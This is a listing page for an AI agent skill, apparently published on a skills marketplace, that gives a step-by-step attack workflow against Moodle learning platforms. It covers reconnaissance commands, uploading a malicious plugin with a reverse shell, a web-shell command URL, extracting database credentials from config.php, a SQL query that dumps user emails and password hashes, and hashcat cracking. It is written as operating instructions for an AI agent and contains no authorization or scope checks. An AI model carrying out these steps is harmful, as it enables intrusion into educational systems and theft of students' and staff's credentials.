# Moodle Pentest

> Security assessment and penetration testing for Moodle learning management systems. Use this skill whenever the user mentions Moodle, LMS security, educational platform pentesting, or needs to assess Moodle installations for vulnerabilities. Trigger for any Moodle-related security work including reconnaissance, vulnerability scanning, exploitation, or post-exploitation activities.

- Skill: `abelrguezr/moodle-pentest` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/moodle-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/moodle-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/moodle-pentest

---


# Moodle Security Assessment

A comprehensive skill for conducting security assessments on Moodle learning management systems.

## When to Use This Skill

Use this skill when:
- Assessing Moodle installations for security vulnerabilities
- Performing reconnaissance on educational platforms
- Testing Moodle plugin security
- Extracting credentials from compromised Moodle systems
- Any security work involving Moodle LMS

## Quick Start

```bash
# Run automated reconnaissance
python scripts/moodle_scan.py -u http://target.com/moodle/

# Check for known CVEs
python scripts/check_cves.py --version 3.9.0
```

## Phase 1: Reconnaissance

### Automated Scanning Tools

Run these tools to enumerate the Moodle installation:

#### Droopescan
```bash
pip3 install droopescan
droopescan scan moodle -u http://target.com/moodle/
```

**What it finds:**
- Installed plugins and their paths
- Moodle version detection
- Interesting URLs (admin panels, readme files)
- Exposed version files

#### Moodlescan
```bash
# Clone from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://target.com/moodle/
```

**What it finds:**
- Server information (Apache, PHP versions)
- Security headers
- Moodle version via feature files
- Known vulnerabilities

#### CMSMap
```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://target.com/moodle/
```

**What it finds:**
- General CMS enumeration
- Plugin detection
- Version information

### Manual Version Detection

Check these endpoints for version information:
- `/admin/tool/lp/tests/behat/course_competencies.feature`
- `/README.txt`
- `/mod/*/version.php`
- `/theme/*/version.php`

### CVE Research

Once you have the version, check for known vulnerabilities:
- https://snyk.io/vuln/composer:moodle%2Fmoodle
- https://cve.mitre.org/ (search "Moodle")
- https://github.com/search?q=moodle+cve

## Phase 2: Exploitation

### RCE via Plugin Installation

**Prerequisites:** Manager role with plugin installation enabled

1. Navigate to **Site administration → Plugins → Install plugins**
2. If plugin installation is disabled, check for privilege escalation:
   - CVE-2020-14321: https://github.com/HoangKien1020/CVE-2020-14321

3. Upload a malicious plugin:
   ```bash
   # Use the bundled RCE plugin
   # Modify the IP and port before uploading
   unzip moodle-rce-plugin.zip
   # Edit the reverse shell IP/port in the plugin files
   zip -r moodle-rce-plugin.zip moodle-rce-plugin/
   ```

4. Access the malicious plugin:
   ```bash
   http://target.com/moodle/blocks/rce/lang/en/block_rce.php?cmd=id
   ```

### Alternative RCE Plugin

Use the plugin from https://github.com/HoangKien1020/Moodle_RCE for a standard PHP shell with `cmd` parameter.

## Phase 3: Post-Exploitation

### Find Configuration Files

```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```

The `config.php` contains:
- Database credentials
- Database name
- Table prefix (usually `mdl_`)
- Salt values
- File storage paths

### Extract Database Credentials

```bash
# From config.php, extract:
$CFG->dbuser = 'username';
$CFG->dbpass = 'password';
$CFG->dbname = 'moodle';
$CFG->dbtype = 'mysqli';
```

### Dump User Credentials

```bash
/usr/local/bin/mysql -u <username> -p<password> -e "
  use moodle;
  select email, username, password from mdl_user;
  exit
"
```

**Important:** Moodle passwords are hashed. Use hashcat or john to crack them:
```bash
hashcat -m 1600 hashes.txt wordlist.txt
```

### Additional Post-Exploitation

- Check for other users with elevated privileges
- Look for uploaded files in `/moodledata/`
- Review scheduled tasks and cron jobs
- Check for backup files

## Common Vulnerabilities

### Privilege Escalation
- CVE-2020-14321: Manager privilege escalation
- Check for misconfigured roles and capabilities

### Plugin Vulnerabilities
- Outdated plugins with known CVEs
- Custom plugins with insecure code
- File upload vulnerabilities in plugins

### Information Disclosure
- Exposed `config.php`
- Version files in plugin directories
- Debug mode enabled
- Error messages revealing paths

## Best Practices

1. **Always enumerate first** - Don't skip reconnaissance
2. **Check multiple version sources** - Different endpoints may show different versions
3. **Verify CVE applicability** - Not all CVEs affect all versions
4. **Document findings** - Track which plugins and versions are vulnerable
5. **Test plugin installation** - This is often the most reliable RCE vector

## Troubleshooting

### Plugin Installation Fails
- Check if you have manager role
- Verify plugin installation is enabled in Site administration
- Try privilege escalation via CVE-2020-14321

### Version Detection Fails
- Try multiple endpoints
- Check for custom themes hiding version info
- Look at HTTP headers for clues

### Database Access Denied
- Verify credentials from config.php
- Check if database is on a different host
- Look for connection strings in other config files